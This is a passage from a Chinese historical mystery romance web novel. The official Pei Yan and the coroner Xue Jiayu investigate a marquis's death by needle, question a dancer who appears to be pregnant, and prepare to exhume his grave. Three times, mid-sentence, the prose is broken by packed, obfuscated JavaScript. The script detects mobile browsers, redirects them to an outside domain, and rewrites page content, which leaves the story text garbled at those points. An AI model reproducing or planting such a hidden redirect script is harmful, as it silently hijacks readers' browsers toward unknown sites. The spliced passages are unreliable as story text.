两人在西市逗留了不少时间,裴砚什么东西都没买,薛嘉玉倒是买了一大堆吃的东西。 眼瞧着天色逐渐变暗,路上的行人也渐渐回家,裴砚想着时间也差不多了,就把意犹未尽的她给拽到了平远侯府。 崔景天来到门口迎接二人,一路上躲避院中的护卫,带着他们偷偷来到后院的灵堂,灵堂只用了无数根蜡烛点亮,但看着还是阴森森的,正中间的桌子上摆放着各式各样的供品,而供品前则立着周琅生前骑马的画像。 她站在画像前,双手合十,不过心地拜了拜,“你们在此处偷偷查验,我去外面为你们把风。” 裴砚去供桌上顺了一支蜡烛,递到薛嘉玉眼前,好让她能够更清晰地观察尸体,“速战速决。” 薛嘉玉翻起他的眼皮,又从头到脚地观察了一下尸体,却没有发现半点伤痕,就连淤血都没有,这看起来确实就像是自己突发某种病症而亡。 只是若要按照崔景天所言来看,周琅死得的确蹊跷,一个常年喝酒的酒鬼又怎么会突然间因为喝酒而死? 她一把夺过裴砚手里的蜡烛,仔细观察死者的颈部,最后在耳朵下方两指的地方发现了一个小洞,“大人,你看。” 裴砚循声望去,那颈部确有一个隐秘不易被人发觉的小洞,况且这个位置平常也不会有人去专门注意,也难怪没有人察觉周琅的死有问题。 随后,薛嘉玉又观察了下颈部还有没有其他类似的小洞,可结果是没有。 “看来,凶手应当是熟悉医理,只靠这一针就直接害死了周琅。” 裴砚将她手里握着的蜡烛放回原处,“而且这个人还得与周琅十分亲近,不然靠不了那么近。” 薛嘉玉两手平伸,挺了挺腰,大大咧咧地打了个哈欠,“大人,没别的事情了吧?我想先回客栈睡觉了。” 他上前一步,扣住她的手肘,语气同往常并无二致,“等下,我还有事情要同你说。” 无奈之下,她只好跟着裴砚来到门外,裴砚将在尸体颈部发现的小洞告知给了崔景天。 尽管她与周琅成婚已有两年,但崔景天却也摸不着头脑,“这我倒是不知周琅平日里都与谁有仇。天色不晚了,你们先去歇息吧,这件事就交给我来办。” 裴砚一路上沉默不语,她先前还主动说了几句话来打破沉默,可是这个人根本就不理人,搞得好像她惹到了这位金贵的裴大人了一样。 等到了客栈,金羽为他们安排的厢房都在二楼,且他们俩的厢房是紧紧挨着的。 薛嘉玉推开房门,也没见裴砚同她说了什么很重要的事情,正当她刚迈了一只脚进去,自己的后背忽然传来一股巨大的冲击感,幸好她反应敏捷,否则定会摔得脸部着地,狼狈不堪。 她正欲转头去瞧是哪个该死的不长眼的东西,就看见罪魁祸首迈着优雅的步子,绕到了她的眼前。 “大人,你好端端地推我做什么?有话好好说,莫要动手啊。” 裴砚两手叉腰,一点一点地靠近她,他比薛嘉玉高了将近两个脑袋,弯腰的时候,阴影全都洒在了她的身上,看起来压迫感极强。 “我问你,你曾经是不是来过洛阳?否则为何你会知道那西市有卖糖葫芦的?你跟着我的目的何在?” 身后的两扇大门紧闭,薛嘉玉已经被他逼得退无可退了,她两手放在身后,掌心贴在门上。 只见她偏过头去,眼眶微红,沉吟道:“民女自幼就没了父母,后来被祖母带到洛阳生活,可是三年前祖母也去世了,反正我也没朋友,便孤身一人来到长安。可是我朝不允女子做官,我也只从祖母那里学到了这一个傍身之技,只好委身做一个民间仵作,收入甚微,还总是被街坊邻居嫌弃。为了养家糊口,况且我也喜欢查案,就想待在大人身边,指不定还能讨点赏赐。” 听完这段话,裴砚也算是对她的身世有些了解,他的面上流露出一丝愧疚,“原来如此。抱歉,我不应当直接拆穿你的伤疤的。” 可明明自揭伤疤的人是她,薛嘉玉却还有心思笑了起来,“无碍,大人若觉得愧疚的话,不妨赏民女一些银子?” 兴许他真的是忽然间有了良心,果真从腰带上取下一枚香囊,从那香囊里竟掏出一枚金元宝,“拿去吧。” 薛嘉玉两眼放光,甚是受宠若惊,她慌乱间抬起双手摆了摆,“这实在是太贵重了,民女担不起。大人再赏我几个银元宝便是。” 裴砚大手一抛,“没有银元宝了,这金元宝就收下吧,也并非什么世间罕见之物。” 她瞧见金元宝被裴砚抛到空中,划过一丝短短的弧线,连忙伸出手,手忙脚乱地接住了金元宝。 薛嘉玉单手扒着门框,探了个脑袋出去,望向左边的男子,“多谢了,大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021525|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以后民女当唯你是瞻!” 裴砚没有理睬她拍的马屁,打开门进去后,又“啪”的一声关上了。 看在金元宝的面子上,她也不同这个无趣的人计较。 这长安的富贵公子就是不一样,简直就是个活生生的散财童子,大手一挥,就变出一个金元宝来。 薛嘉玉小心翼翼地将金元宝这等贵重之物揣在身上,可是这金元宝实在太重太硬,睡在床上的时候硌得慌。 她只好把金元宝拿出来,放在床头的矮柜上。 这夜居然难得做了一个好梦,薛嘉玉第二日早早就起来了,她在屏风后换好昨日裴砚买的桃粉色流光锦衣裙,裙摆处还用一针一线绣了一枝鲜嫩的桃花,活灵活现。 她理好衣襟,将矮柜上的金元宝揣进袖中,继而坐在妆台前,用木梳轻柔地梳着长发。 薛嘉玉揪起上面一部分头发,刚挽成发髻,还未用流苏玉簪将其固定,就听见门外有人敲门。 她迅速将簪子对着镜子戴好,这次有了镜子就没有戴反,薛嘉玉急忙从凳子上蹭起来,走到门口开门。 大门一开,裴砚便瞧见一位未施粉黛的小娘子站在门口,一身桃粉色衣裙衬得她皮肤白皙,更似一位少女,她的头上只簪着昨夜买的玉簪,虽然不比贵女们用的富贵,却也不显寒酸。 见他迟迟不开口,薛嘉玉只得主动询问:“大人,有何事吩咐?” 裴砚甩了甩左手的浅绿色衣袖,“我今日须得去一趟侯府,你先行去长乐坊找燕柳聊聊,若没有找到她人,才来侯府找我。” 他说得极其含糊,薛嘉玉顿时有些摸不着头脑,“可大人,我应当同燕柳姑娘聊什么呢?” 自昨日见过燕柳姑娘后,每每一提到“燕柳”这两个字,裴砚的脸色都不大好看。 他只言简意赅道:“你自行看着办吧,若办得好,便有犒赏。” 薛嘉玉突然间并不是那么期待犒赏了,她只觉得心好累,这份差事真难做,她瞧着裴砚有些走神,便抬起手,在他眼前晃了晃。 “大人?” 裴砚忽然间闻到从她袖口中弥漫出来的一股香味,细细一嗅,是玉兰香。 她今日是用了香粉吗?还是澡豆的味道? 她眼见着裴砚双眼愈加无神,无奈地又唤了他一次,“大人?” 裴砚猛地回过神来,他轻轻咳了一声,“何事?” “大人怎么每次听到燕柳姑娘,就会走神?莫不是也像这洛阳男子一般都被美人给吸引到了?” 他当即否认,“这都是莫须有的,莫要乱传。” 可薛嘉玉只当他是害羞不敢承认,壮着胆子抬起手臂,用手拍了拍裴砚的肩膀,“大人,莫要害羞,这都是人之常情。” 说罢,她便火速且灵活地溜走了,根本不给裴砚揪住她训斥的机会。 客栈本就坐落在东市,所以从这里走过去耗费不了多少时间。 薛嘉玉刚踏进店门,就与那不远处在席上喝酒的陈晟对上了眼神,他的身边还坐着两位美人,争相喂他喝酒。 她本想忽略掉这朵奇葩,直接去找这儿的老板打听燕柳的,没曾想这陈晟先行一步叫住了她。 “小娘子,你今日怎一人来这儿了?莫不是那姓裴的狗东西招你惹你了?” 12. 有孕 薛嘉玉想到昨日小厮说这陈公子总爱来这儿喝花酒,兴许会知道燕柳姑娘在何处,便道:“怎会?我是来此处寻人的。陈公子青天化日之下就来这儿寻欢作乐,会有损声誉吧?” 陈晟从袖中拿出一个朱红色的四四方方小盒子,放在桌子上,用手中的扇子将那盒子推到她的面前,“我只是来这儿听曲儿看舞的,不是来做那种事情的,可莫要将我和那周琅混为一谈。” 她垂头瞥了一眼那个盒子,“这是何物?” 只见陈晟放下手中的琉璃酒盏,骚包地将扇子展开,那扇面绘有一副墨色竹林图,他摊了摊手,“虽说裴砚成婚没有请本公子,但新婚礼物不可少,给你的。” “给我的?”她总觉得没有那么简单。 陈晟将身边两位娇俏的小美人打发走了,“自然,本公子与他相识多年,虽说一碰见就想跟他吵架,但这表面上的东西还是得要做一做的。” 薛嘉玉不敢当面拂了他的面子,只好拿过那小盒子,“多谢陈公子。” “薛娘子若要寻人,还是速速去寻吧。此处醉汉众多,要是冲撞了你,那姓裴的估计又要发牛疯了。” 她眼珠子咕噜一转,既然裴砚是让她来探探燕柳的口风,那么她从陈晟这里旁敲侧击一些燕柳和周琅的事情倒也不错,这样也好交差。 “陈公子,我想向你打听一些事情。” 陈晟心中了然,“是想打听周琅和燕柳的事情吧?我就知道那狗东西来洛阳绝没好事。” 薛嘉玉沉了沉眉,没有说话。 “来,吃点。”他将面前那几盘洛阳特色小吃推到她面前,想让她别那么拘谨,“这周琅不是什么好人,家有贤妻,却嫌弃她性子不够柔软,就日日来这儿花天酒地,不过他只来找燕柳,其他女子他倒是都没碰过。” “那你可知周琅为何只找燕柳?” 陈晟爽朗地笑了下,“心悦于她呗,所以才跟她夜夜笙歌。不过说起来,这几日倒没怎么见过燕柳,听老板娘说燕柳这几日身子不舒服,晚上也不接客了。” 薛嘉玉微微颔首,向他稽首,“多谢陈公子。” 随后,她便穿过熙熙攘攘的人群,来到前门去找那位老板娘。 老板娘身着明黄色长裙,眼角虽已冒出几条细纹,但多亏保养得当,依旧风韵犹存,看不出她的真实年龄。 她坐在椅子上,低头翻阅着这一个月的账本,手边放着一盏冒着热气的茶,余光间瞥见一位小娘子向她走来,老板娘立马将账本合上,莞尔一笑,“小娘子,来找我所为何事啊?” 薛嘉玉不喜兜圈子,开门见山道:“老板娘,我想问问燕柳姑娘如今身在何处啊?” 老板娘年逾四十,形形色色的人她都见过,她的目光在小娘子身上逡巡了一遍,看她头上虽然没有多少发饰,可衣裳布料不菲,估计也是这洛阳里的非富即贵的人。 她两条手臂压在账本上,双手握在一起,“小娘子,为何向我打听燕柳啊?” 薛嘉玉脑子灵光,多的是馊主意,她取下那日裴砚递给她的双鱼玉佩,用手拎着挂绳,在老板娘面前晃了晃,“此玉佩乃是由广陵挖出的一块珍贵翡翠制成,有市无价,只在前些年卖给了长安裴家。不巧,我就是他的夫人,听闻他最近常流连此处,便想来看看究竟是什么东西把他的魂都给勾走了。” 正房夫人为了保住名声和地位,来乐楼寻人教训,也是常有的事情。 老板娘司空见惯,也知道这富贵人家的事情不该插手,也不敢得罪,她用手指向上指,“燕柳就在五楼的潇阳间,夫人请吧。” 她收起玉佩,重新系在腰间,“多谢老板娘。” 薛嘉玉踏上木楼,不断地有小厮端着酒壶和甜点去楼上包间供给那些贵人,她怕撞到别人,只好靠着边走。 到了五楼,便显得清静多了,这一楼是舞姬和乐姬的住处,只有那些受人欢迎的才配住单间,而那些刚入行的或者已然年老色衰的昨日黄花便只能与别人挤在一起。 燕柳是洛阳家喻户晓的舞姬,她所住的潇阳间自然是排在首位的,也彰显了她在这儿的地位。 她快步走到那扇门前,抬手叩了叩,里面的人很快就前来开门。 燕柳原以为是老板娘让她下去接客,可瞧见站在门口的是位妙龄女郎,且衣着华丽,一看便知这位绝不是长乐坊新来的乐姬。 她衣着朴素,身上未戴首饰,单手撑着门框,“小娘子是?” “燕柳姑娘,你可知周侯爷去世一事?” “周侯爷离世一事满城皆知,我自是知道。” “可那一夜他是去长乐坊喝了酒回来后就死了。” 燕柳的语气顿时变得重了些,“小娘子是怀疑我害死了周侯爷吗?” 说着,燕柳便握着门把手,想要将门关上,薛嘉玉在电光火石之间迅速用手扒住门框,阻止对方把门关上。 燕柳嘴中斥责的话尚未脱口而出,就见这小娘子生硬地推开木门,强行钻了进来。 “你这小娘子好生无礼!” 薛嘉玉背靠大门,挑了挑左眉,“听闻周侯爷夜夜都来寻你,想必他对你情投意合,你应当也知道他不少事情吧。” 燕柳的眉间多了一丝忧愁,她缓慢无力地坐在椅子上,“周郎的确夜夜都来找我,但我们其实是两情相悦。我知道他有正妻,侯府这般高的门楣,我也不敢攀扯。他常常都会和我聊很多事情,但我从不知道他身边究竟有什么人想要置他于死地。” “燕柳姑娘,那晚他可有什么异常之举?” “异常之举?” 屋中窗户打开,外面的清风一股脑地灌了进来,拂过燕柳的脸颊,风中还携带了一丝桂花香。 燕柳把头偏过去,盯着外面蔚蓝无垠的天空,旋即长叹一口气,“那一夜,周郎说想要纳我为妾。可我知道,那侯府就是个吃人的地方,就连他那位身世显赫、品德兼备的正妻都会受人非议,更何况是我这个舞姬?” 薛嘉玉不紧不慢地靠近她,她瞧着燕柳身形消瘦,桌上的糕点也没有被碰过,心中登时起了疑心。 “燕柳姑娘,你身子不舒服?” 她气若游丝道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔景天无趣地嘟了嘟嘴,“我虽然成过婚,但我未曾生育过啊。不过女子怀孕的确会出现呕吐的症状,我那二伯母的媳妇儿怀孕时就吃什么吐什么。” 这时天空转阴,乌云密布,大风狂啸,崔景天便把他们二人请到府里去。 恰巧碰见了从灵堂中出来的二伯父——周辙。 周辙脸上布满皱纹,可身姿依旧挺拔,他严肃地盯着面前的三个人,抬起手捋了捋花白的胡须,“景天,既是有客人来了,就请去正堂招待,勿要在府中逗留,扰了琅儿的安宁。” 由于周琅的父母已逝,这家中当属他父亲的弟弟周辙为大,这周辙虽然老了,但还是喜欢管事,因而崔景天无论做什么事情,都须得上报给他。 崔景天乖顺地点头,“二伯父说得是。” 周辙往前迈了几步,忽然又想起了某件事,便转过身来,一双浑浊的眼睛死死地盯着她。 “对了景天,这灵柩已经在这儿停了三日了,也当让他入土为安了,我已经安排人明日下葬,你今晚就去灵堂陪他最后一夜吧,好歹你们还做了两年的夫妻。” 她行了行礼,应下来了,“是。” 待周辙走远后,崔景天两手插在腰间,抬起右腿狠狠往前踢了一下,咬牙切齿道:“可恶的周辙!等他下葬之后,我就背起行囊,趁夜逃跑!看谁还敢管我。” 裴砚从衣服里掏出一张信纸,递到正对空气打拳的崔景天面前,“其实我这次来,也是奉了崔尚书之命,他让我安全地把你带回长安。” 13. 耳铛 崔景天自小心向自由,她要是当真乖乖跟着裴砚回到了长安,那老头子定然会再给她寻一门亲事的,到时候就又要嫁给不爱之人,过着无趣至极的生活。 “我可不管,反正我不会回去,就算你把我打晕了运回去,我也会偷偷逃走。” 裴砚默了一会儿,旋即将手里的信件撕成两半,“罢了,你自己做主便是。” “这也到了吃午饭的时候了,我去吩咐小厨房做点菜,你们就去正厅等候吧,千万别和二伯父碰上了。” 薛嘉玉与他并肩而行,把今天去长乐坊打听到的事情都转告给了裴砚,“所以,大人,燕柳姑娘是不是有身孕了?” 裴砚微微颔首,“没错。只是不知道她会不会留下这个遗腹子。” 她走到一池塘边,池水中养着好几条锦鲤,鱼儿往来翕忽,薛嘉玉忍不住蹲在池边,撩起袖子,将手探进冰凉的池水里逗那些锦鲤,“那周琅想必也知道燕柳怀孕的事情了吧?不然怎会突然提出要抬她为妾室?” 裴砚跟到她的身后,并未出声阻止,“我想周琅应该不知道这个孩子的存在。如果燕柳先说自己怀了孕,周琅才提出抬妾室,那我想燕柳不会拒绝,她就算不为自己考虑,也得为自己的孩子考虑。” 薛嘉玉还是有些想不通,“可就算燕柳没说,她也该答应下来啊,因为她知道自己怀了孕啊。” 这高门大户的事情,裴砚再清楚不过了,“周琅知道的话,会强行把她娶进门的,因为周琅已年近而立之年,却还是没有子嗣,崔景天是断然不可能跟他生育孩子的,也就是说这孩子是他的第一个孩子,他不可能让孩子没有名分。” 薛嘉玉无所顾忌地将湿润的手放在裙子上来回擦了擦,“此话倒是有理。” 他弯下腰,单手握住她的手肘,强行把她从地上拖起来,“快走吧,要是有小厮瞧见你逗鱼,估计会遭到别人编排。” 她连忙将自己的手挣脱出来,整理了一下有些皱的袖子,“知道了,大人。” 二人来到正堂,桌上放着黄金制成的烈马摆件,餐桌和椅子皆是用上好的红木制成,薛嘉玉和裴砚相对而坐,周辙则不苟言笑地坐在首位,不出声色地盯着他们两个。 “裴砚,这小娘子是?” 裴砚在长者面前,脸上就没有那么严肃了,“我的侍女。” 周辙两手撑在大腿上,皱了皱眉头,将视线挪到薛嘉玉的身上,目光凌厉,“既然是下人,就不应该坐在这儿,莫要坏了礼数。” 闻言,薛嘉玉麻溜地从椅子上蹭起来,绕到了裴砚的身后,站得笔直。 他扬起唇角,饶有兴趣地盯着周辙,手指头无规律地敲着餐桌,“周伯,这薛娘子不仅是我的侍女,亦是我的友人。既然是我的友人,那就有资格上桌吃饭,不是吗?” 还未等周辙说话,裴砚就回头看向因不能吃饭而变得可怜巴巴的薛嘉玉,他使了个眼神,“薛娘子,去坐着。” 薛嘉玉忽然觉得做人好难,她内心忐忑地回到刚才的座位坐下,简直如坐针毡、芒刺在背。 幸好崔景天很快就随着厨子过来了。 崔景天怕她孤单,就主动坐在了她的身边,她悄悄把手搭在薛嘉玉的手背上,轻柔地拍了拍,嗓音温柔,“莫要紧张,放松一点。” 她紧紧皱起的眉头霎时间展开,薛嘉玉将自己的右手也给放在她的手背上,“谢谢你,景天。” “哎哟,家里面还来了两位客人呐!” 屋中蓦地响起一阵阴阳怪气的妇人声音。 这时,只见一位矮胖矮胖的妇人从一扇门里迈着蹒跚的步子出来,她穿着立领的红色襦裙衫裙,肘间搭着一条淡蓝色碎花披帛,脖子上那一串长长的珍珠项链十分引人注目,每一颗珍珠都像元宵那么大,全身上下都透露着“富贵”两个字。 崔景天立刻起身行礼,恭恭敬敬地回答:“二伯母,这是裴砚和他的友人,听闻侯爷去世,特来看望。” 冯婉珠拉开餐椅坐下,披帛自然垂落在大理石地砖上,她两手搁在桌子上,一只手腕戴着有大象腿那么粗的翡翠镯子,另一只则戴着闪闪发亮的黄金手镯,桌子上镶嵌着一圈迷你珍珠。 “景天啊,你看琅儿已逝,你又没个孩子傍身,你若继续坐着这主母之位,恐怕会引得其他人议论纷纷啊。” 她听得出来冯婉珠想要的是什么,事实上她简直就是求之不得,“用过饭后,我会将中馈亲自送到二伯母手上的。” 冯婉珠欣慰地点点头,“真是个懂事的小娘子。” 薛嘉玉盯着眼前那一排的蒸羊羔、蒸熊掌、烧花鸭、清蒸甲鱼、豆腐圆子、五香牛肉,各个都冒着热气,品相极佳、飘香四溢。 她嘴里的口水都快要流出来了,但为了护住裴砚的面子,她只能佯装优雅地每一样菜都只吃一小口,不敢一下子夹太多菜,把饭碗给填满了。 不到十分钟,她就已经将碗里的白米饭都给洗劫一空了。 崔景天看她哼哧哼哧吃饭菜,还以为裴砚是不是平日里虐待了她,“嘉玉,要再添一碗饭吗?” 她想着主人家都这么问了,那点头同意应该没什么问题,可就当薛嘉玉正准备说“好”的时候,忽然间对上了裴砚那双极具危险性的眼神。 那眼神仿佛是在说:“你敢?” 薛嘉玉心里面顿时虚了,忍着没填饱的肚子,咬咬牙说:“不必了,我已经吃饱了。” 崔景天瞧着她那瘦弱的小身板,心中不免有些心疼,等寻到了一个好时机,她定要好好地说教说教裴砚一番。 餐桌上无人说话,每一个人都在安静吃饭,除了被回绝再添一碗饭的薛嘉玉。 她觉得甚是无聊,又不能离开这席,就偷偷在心里面数羊来打发时间。 等宴席结束,亦是半个时辰后了。 裴砚找了个借口,带着薛嘉玉速速离开这侯府,路上,薛嘉玉因为还记着刚才他不肯让自己多吃的仇,不愿开口跟他说话。 等回到了客栈,她从衣袖中拿出那对耳铛,对着镜子将耳饰戴好,这耳铛精巧华丽,倒是衬得她的皮肤白皙了一些。 薛嘉玉两手撑着脸颊,用手指向下扯了扯眼睛下方的皮肤,下眼皮漏了半截出来。 等她多赚些钱之后,她就可以买一些养颜的东西,也能让自己吃得好点,不至于像之前那么苦了。 咚咚咚—— 她料到是谁在敲门,薛嘉玉有些心累,这才休息了多久啊,就又要开始忙活了。 薛嘉玉拖着疲惫地身躯,去给多事的裴砚开门,“大人,又有什么事情要吩咐啊?” 裴砚的手里拎着一提暗红色食盒,这是他方才去食铺打包的,他把香气四溢的食盒递到馋鬼的眼前,“知道你刚才没有在侯府吃饱,肯定在心里面记恨我不让你多吃的事情,拿去趁热吃吧。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021527|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着眼前的食盒,目瞪口呆,薛嘉玉怕他收回,立刻伸手将食盒抢了过来,朝着裴砚鞠了一个180度的躬,“多谢大人!我就知道大人是体恤下属的!” 薛嘉玉鞠躬的时候,耳铛也随着她的动作而大幅度地开始晃动,裴砚很难不注意到这制作精巧的耳铛,而且上面还有珍珠和红玛瑙,价钱定然不菲,他总觉得依她的性子,是不会花这么多钱买耳铛的。 于是裴砚多嘴问了一句:“什么时候买的?” 她抬起手摸了摸那个耳铛,“这个是我今早去长乐坊的时候,陈公子送给我的新婚礼物。” 裴砚的脸瞬间就冷了下来,他的语气中带着命令的口吻,“取下来,戴着这么花枝招展的贵重耳铛,会让别人怀疑我们的关系的。” 虽然裴砚的话说得没错,毕竟她只是个侍女,戴这种东西确实不好,可是被他这么一说,薛嘉玉的心里忽然间有些酸涩难受,她极力忍住眼眶中蓄起的眼泪,连忙将耳铛取了下来,继而愤愤地一把将耳铛塞进了裴砚的手心里。 接着,她转身反手将门爽快关上。 她坐在梳妆台前,将那食盒“啪”的一声重重放在梳妆台上,差点没直接将桌子一分为二,薛嘉玉将两只手臂叠在妆台上,把脑袋埋进手臂里,无声地啜泣着。 难道说她真的就不配戴好的东西吗? 既然他不让自己打扮得花枝招展,又为什么要给她买浮光锦? 不也一样会招人怀疑吗? 也许是因为在他看来,珍珠、点翠、红玛瑙比浮光锦更贵重吧,而薛嘉玉这种穷苦的人只配得上浮光锦这种小恩小惠,担不起金银珠宝。 薛嘉玉抬起头来,用手指向上拂去眼泪,她觉得为了裴砚的话而暗自神伤不值得。 这时,门外传来裴砚温柔的声音,犹如春风一般。 “薛娘子,我不是那个意思,是我方才语气重了些,你莫要生气。” “我只是觉得你现在是我的侍女,若是打扮得太精致了,别人就会觉得你不像是一个侍女,这样不利于我们查案。我并不是觉得你不配戴这种耳铛,其实在我眼里,你也值得戴更加昂贵的耳铛。” “薛娘子?” 薛嘉玉不想理他,但是念在自己还有求于他,也不敢顶撞了他,愤愤不平地回头对着紧闭的大门说:“我知道了,裴少卿。” 裴砚听得出来她的嗓音中夹杂了一丝哭腔,可他不太会安慰人,也不好继续说下去,免得一会儿又因为哪一句话就惹她生气了,“那饭菜你记得趁热吃。” 她将视线投向旁边的食盒,觉得裴砚说得也并无道理,就算生气,也不能让自己的肚子受委屈。 薛嘉玉将食盒的每一层都一一展开,里面有主食,也有甜点,都是洛阳当地有名的菜肴。 她气鼓鼓地抄起筷子,夹起饭菜,胡乱塞进嘴里,腮帮子大的都快跟仓鼠一样了。 薛嘉玉突然有些后悔把耳铛塞给他了,明明是别人送给她的东西,她凭什么送给裴砚? 就算不能戴,那也可以拿去典当行当了换钱。 不行,得找个机会腆着脸要回来。 她速速把这五盘菜解决干净,然后迈着极为沉重的步伐来到裴砚的房门前,薛嘉玉理了理额前的头发,在心里面打了一百遍腹稿。 薛嘉玉抬起手臂,敲了几下房门,试探着问了一句,“大人?” 里面却没有人回应她。 14. 胭脂 薛嘉玉以为他在午休,便打算打道回府,可还没迈开步子,身后就有人叫住了她。 是裴砚。 她回过身来,裴砚站在离自己两米远的地方,他的手里拿着一个木匣子,看起来风尘仆仆的样子。 她朝着裴砚摊开左手,“大人,你来的正好,我是来要回那对耳铛的。” 裴砚不疾不徐地走过来,“那对耳铛就算了,你若喜欢,我改日给你买一对便成。” 薛嘉玉立场坚定,板着脸回绝:“不成。我知道你和陈公子之间有说不清道不明的渊源,哪怕你们之间有深仇大恨,跟我也没关系。还望大人能把耳铛还给我。” 也不知道她哪儿来这么大的胆子。 裴砚无奈,只好把那对耳铛从袖口中掏出来,和着手里拿着的木匣子一块儿递给了她,“首饰款式多得眼花缭乱,我选不来,就给你买了几盒胭脂和螺子黛,你就莫要生气了。” 她迟疑地接过这些东西,只觉得面前的裴砚好似换了个人一样,“大人,你真的是两周前的大人吗?” 原以为自己给她买了这么多东西,她定然会对自己感恩戴德,没想到薛嘉玉居然开始怀疑这些都是不是他做的。 裴砚倒是很好奇自己在她眼里究竟是个什么形象。 “你莫要多想,我只是看在这件事情还需要你协助的份上,才给你买这些东西的。” 薛嘉玉低头盯着手里的木匣子,两根大拇指在匣子表面轻轻摩挲了一下,“谢谢你大人,这还是第一次有外人送我礼物。” “明日夜里同我去见一见陈晟。” * 薛嘉玉和裴砚都不约而同地换上了一袭黑衣,裴砚带着他偷偷摸摸来到陈府后院,然后半蹲下来,两手摊开,“来,踩着我的手,翻上去。” “啊?”她顿时间怀疑自己是不是耳朵出岔子了,“大人,你既然和陈晟认识,那为什么我们要像做贼一样去翻人家的墙啊?” “此事不宜张扬,那头有陈晟接应,不用担心受伤。” 她提起裙子,曲起左腿,狠狠踩在裴砚的掌心上,接着两只手死死抠住屋檐上的瓦片,裴砚则握住她的两条腿,用力往上推。 薛嘉玉吓得五官乱飞,两手两脚飞速寻找着可以抓住的地方,“诶诶诶诶!等一下!大人!啊!” 由于裴砚无脑地往上推,而薛嘉玉尚未来得及抓住瓦片,调整姿势,就脑袋朝下地往下冲。 她心如死灰地闭上眼睛。 得亏这边有陈晟接应,不然她今天绝对就交代在这里了。 若真是这样,薛嘉玉就是死了也不会放过裴砚的。 陈晟见天降美人,眼疾手快地张开双臂接住她,她不出意外地掉进了陈晟的怀里,不禁叹了口气。 还好,有惊无险。 他看着怀里的美人,不着调地对那头努力爬墙的裴砚喊道:“哟,多谢你亲自送到我怀里来的小美人。” 说完,陈晟就把她放了下来,“没事吧?” 薛嘉玉拍了拍心口,“没事,不过他行吗?” 陈晟无所谓地回答:“他呀?不用管他。” 裴砚四肢并用,爬上了屋檐,曲起右腿,右手随意地搭在膝盖上,落在陈晟身上的目光极其凌厉,像是能把他直接生吞活剥了一样。 他伸出左手对着陈晟招了招,“东西呢?” 陈晟从地上拿起两把铁锹,另一只手拍拍胸脯,“办得妥妥的,一天到晚比我娘还操心。” “行,你们俩一人拿一个铁锹翻过来。” 薛嘉玉的脑袋上冒出了一个大大的问号,她皱起眉头,一脸不解,“等等,这不是在陈府吗?就不能直接走正门运出去?” 陈晟尴尬而不失礼貌地笑了下,他挠了挠后脑勺,简单解释:“这个嘛……最近我去长乐坊左拥右抱的事情不知道怎么的传到我娘耳朵里面起了,她给我下了一周的禁足令。” 她默默在心里骂了句:活该! 陈晟把铁锹放在地上,用手拖住她的脚底,可是薛嘉玉左手拿着铁锹,抓不稳瓦片,只能无能扑棱着。 裴砚实在是看不下去了,一把夺过她手里的铁锹,轻轻放在屋檐上,继而用两只手握住她的手臂,跟拎小鸡一样用蛮力把她拎了起来。 薛嘉玉觉得自己此时此刻的模样肯定很羞耻,“大人,我手要脱臼了!” 他把薛嘉玉拖起来之后,就将她放到一边去了,薛嘉玉趴在屋檐上,棱角咯着她的肚子,她两手撑着瓦片蹭起来,调转了个头,然后闭着双眼,冒着必死的决心滑了下去。 一旁的裴砚简直没眼看,干脆用手扶着额头,遮挡住视线。 陈晟鬼点子多,不似薛嘉玉那么笨,他机灵地把铁锹用腰带捆在腰间,两手扒着屋檐。 “诶,裴砚,顺带拉我一把呗。” 裴砚面无表情地轻嗤一声,随即就拿起薛嘉玉遗漏的铁锹翻身下地。 他气得想直接把裴砚揪过来,好好打上几个回合,“姓裴的,你真够不要脸的啊!有了美人,忘了友人了是不是?!” 陈晟骂骂咧咧地翻身下地,与他们两个人汇合,“话说,我们真的要去挖坟吗?” “挖坟?挖谁的坟?”薛嘉玉根本就不知道他们的计划,她一头雾水,“周琅的尸体不是已经查验过了吗?” 裴砚把手里的铁锹塞到她的手里,“前日崔景天说她听见周辙和冯夫人商量着选些自己的东西埋到墓里,好让他在那边也有亲人相伴。” 她从未听说过这样的礼俗,“这是哪门子习俗?” 他拢了拢鹤氅,带着他们二人择了一条小道,“正是因为奇怪,所以才要去掘坟瞧瞧。” 陈晟将铁锹扛在肩膀上,他瞧着面前这俩夫妻的互动并不像寻常夫妻,他揣测:“喂,姓裴的,你俩没成婚吧?” 薛嘉玉实在是不想在别人面前演什么夫妻恩爱的戏份,就抢先一步为他澄清,“没错,其实我只是他的侍女罢了。” 独自走在前面的裴砚听见这句话,脸色霎时间黑了点。 陈晟凑到她的面前,瞧了一眼她的耳朵,随即抬起头来,嬉皮笑脸道:“没成婚便好,这样一来,我就可以正大光明地追求薛娘子了。” 薛嘉玉扬起一抹僵硬的苦笑,“多谢陈公子厚爱,只是这还是得两情相悦才好。” 被拒绝的陈晟脸上也并未露出半点伤感,他只摇摇头,“罢了罢了,我怕某个姓裴的要把我丢进坟里给周琅陪葬。” 